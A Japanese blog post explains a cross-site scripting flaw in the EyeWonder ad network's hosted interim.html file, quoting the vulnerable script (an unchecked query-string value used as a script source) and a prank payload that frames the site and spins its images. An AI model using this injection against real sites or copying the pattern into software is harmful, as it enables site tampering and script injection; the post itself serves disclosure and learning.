EyeWonderを利用しているサイトにXSSの脆弱性があった
朝からこんなエントリを読んだ。
EyeWonderという広告配信ネットワークにXSSの脆弱性があって、こんなことになってしまう。
さっきのエントリで紹介されいていたもので、画像をくるくる回すスクリプトをXSSで読み込ませたときのキャプチャ。
EyeWonderのシステムを使う場合、interim.htmlというファイルを自分のドメインにホスティングするみたい。interim.htmlの中身はこんな感じ。
<script language="JavaScript"> var cnnDocDomain = ''; if(location.hostname.indexOf('cnn.com')>0) {cnnDocDomain='cnn.com';} if(location.hostname.indexOf('turner.com')>0) {if(document.layers){cnnDocDomain='turner.com:'+location.port;}else{cnnDocDomain='turner.com';}} if(cnnDocDomain) {document.domain = cnnDocDomain;} var query = window.location.search; var adUrl = query.substring(5, query.length); var clickthru; var failclickthru; document.write('<s'+'cript language="JavaScript" src="'); document.write(adUrl+'"></s'+'cript>'); </script>
adUrlにはURLのクエリストリング(?src=aaaaaa みたいな部分)が入る。そしてsubstring(5, query.length)すると、5文字目以降が切り出される。?src=aaaaaaだと、aaaaaaが切り出される。?sss=aaaaaaとかでも同じ。
そしてscript要素を作っている。jsonpなんか同じ方式で、外部のスクリプトを呼び出すことができる。ここでさっきの adUrl が入ってくる。さっきの例だとaaaaaaにスクリプトのURLが埋め込まれていると、スクリプトが動作してしまう。
最初のエントリでインジェクションされていたのはこんなJavaScriptだった。
document.write('<style type="text/css">body{padding); margin:0}</style>'); document.write('<iframe id="iwonder_hack" src="http://' + location.host + '/" width="100%" height="100%" style="border:0;padding:0;margin:0"></iframe>'); setTimeout(function(){ var frmdoc = document.getElementsByTagName('iframe')[0].contentWindow.document ,rotation = 0 ,links = frmdoc.getElementsByTagName('a') ,images = frmdoc.getElementsByTagName('img') ,props = ['transform', 'WebkitTransform', 'msTransform', 'MozTransform', 'OTransform'] ,transform = function(elem, trans) { for (var i = 0; i < props.length; i++) { if (typeof elem.style[props[i]] != "undefined") { elem.style[props[i]] = trans; return; } } }; for (var i = links.length - 1; i >= 0; i--) { links[i].style.display = 'inline-block'; transform(links[i], 'scaleX(-1)'); } setInterval(function() { rotation++; for (var i = images.length - 1; i >= 0; i--) { transform(images[i], 'rotate(-' + (rotation) +'deg)'); } }, 50); }, 3000);
もとのサイトのトップページを iframe で表示して、そのなかのaタグは反転させて、imgタグはくるくる回している。
早く対策されるといいですね。英語はすごく苦手だし、セキュリティは常に勉強中なので、なにか間違った記述や解釈があればご指摘をお願いいたします。